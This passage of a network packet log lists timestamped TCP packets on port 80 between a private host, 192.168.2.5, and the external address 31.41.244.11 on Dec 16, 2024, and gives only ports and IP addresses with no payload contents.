Dec 16, 2024 09:01:30.364877939 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.364931107 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.365784883 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.365835905 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.365839958 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.365890026 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.366847038 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.366899014 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.366960049 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.367013931 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.367893934 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.367949963 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.368005991 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.368060112 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.368938923 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.369009018 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.369035959 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.369093895 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.370003939 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.370064020 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.370095968 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.370147943 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.371038914 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.371093035 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.371139050 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.371196985 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.372087955 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.372143030 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.372183084 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.372236967 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.373121023 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.373178005 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.373218060 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.373272896 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.374166012 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.374216080 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.374217987 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.374275923 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.375240088 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.375304937 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.375432014 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.375493050 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.376252890 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.376310110 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.376348972 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.376399040 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.377299070 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.377374887 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.377414942 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.377465010 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.378365040 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.378428936 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.378489971 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.378545046 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.379399061 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.379453897 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.379492998 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.379545927 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.380465984 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.380549908 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.380573988 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.380628109 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.381481886 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.381536007 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.381602049 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.381653070 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.382553101 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.382611036 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.382651091 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.382704020 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.383625984 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.383677959 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.383723974 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.383775949 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.384668112 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.384722948 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.384783983 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.384835958 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.385759115 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.385838985 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.385870934 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.385902882 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.386785030 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.386837006 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.386959076 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.387012005 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.387799025 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.387850046 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.387896061 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.387950897 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.388833046 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.388978958 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.389034033 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.389883041 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.389940023 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.389978886 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.390033007 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.390953064 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.391004086 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.391042948 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.391094923 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.391972065 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.392024040 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.392070055 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.392121077 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.393028021 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.393080950 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.393126011 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.393184900 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.394114971 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.394166946 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.394182920 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.394234896 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.395224094 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.395276070 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.395324945 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.395378113 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.396152973 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.396204948 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.396254063 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.396306038 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.397244930 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.397293091 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.397341013 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.397393942 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.398267031 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.398320913 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.398380995 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.398432970 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.399322033 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.399374962 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.399414062 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.399462938 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.400347948 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.400401115 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.400473118 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.400531054 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.401456118 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.401508093 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.401546955 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.401601076 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.402483940 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.402551889 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.402596951 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.402650118 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.403492928 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.403547049 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.403676987 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.403728962 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.404556990 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.404603004 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.404611111 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.404659033 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.405602932 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.405656099 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.405694962 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.405750036 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.406874895 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.406932116 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.406965017 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.407016993 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.407691002 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.407776117 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.407785892 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.407830000 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.408739090 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.408891916 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.545958996 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.546030045 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.546180010 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.546180964 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.546432972 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.546515942 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.546525002 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.546571970 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.547502995 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.547558069 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.547631979 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.547677040 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.548544884 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.548619032 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.548706055 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.548765898 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.549598932 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.549655914 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.549702883 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.549765110 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.550647020 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.550710917 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.550793886 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.550848961 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.551697969 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.551753998 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.551821947 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.551873922 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.552750111 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.552807093 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.552850008 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.552902937 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.553939104 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.553996086 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.554033995 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.554089069 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.554838896 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.554896116 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.554939985 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.554997921 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.555876017 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.555932045 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.555983067 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.556035995 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.556936979 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.556996107 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.557121992 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.557178020 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.557984114 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.558043957 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.558089972 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.558160067 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.559016943 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.559075117 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.559154034 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.559206963 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.560069084 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.560127020 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.560173035 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.560225010 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.561109066 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.561165094 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.561208010 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.561263084 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.562272072 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.562330008 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.562376022 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.562429905 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.563208103 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.563262939 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.563318014 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.563371897 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.564296007 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.564435005 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.564466953 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.564495087 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.565318108 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.565372944 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.565418005 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.565471888 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.566385984 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.566442966 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.566493988 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.566556931 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.567409039 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.567467928 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.567519903 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.567574978 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.568451881 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.568504095 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.568546057 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.568593979 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.569483995 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.569534063 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.569607019 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.569654942 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.570544004 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.570593119 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.570667028 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.570713997 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.571609974 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.571659088 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.571686029 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.571732998 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.572871923 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.572923899 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.573002100 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.573049068 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.574153900 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.574204922 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.574278116 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.574322939 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.574747086 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.574793100 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.574939013 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.574986935 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.575814009 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.575859070 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.575982094 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.576028109 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.576880932 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.576925039 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.576968908 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.577014923 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.577858925 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.577908993 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.577958107 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.578006029 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.578926086 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.578977108 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.579107046 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.579157114 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.579977989 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.580028057 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.580156088 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.580204010 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.581281900 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.581335068 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.581357956 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.581403971 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.582055092 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.582106113 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.582174063 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.582221985 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.583162069 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.583210945 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.583247900 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.583296061 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.584172964 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.584222078 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.584338903 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.584393978 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.585199118 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.585247993 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.585385084 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.585433960 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.586273909 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.586323977 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.586365938 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.586414099 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.587328911 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.587404966 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.587429047 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.587471962 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.588376999 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.588429928 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.588469982 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.588519096 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.589490891 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.589543104 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.589577913 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.589623928 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.590451956 CET	80	49866	31.41.244.11	192.168.2.5
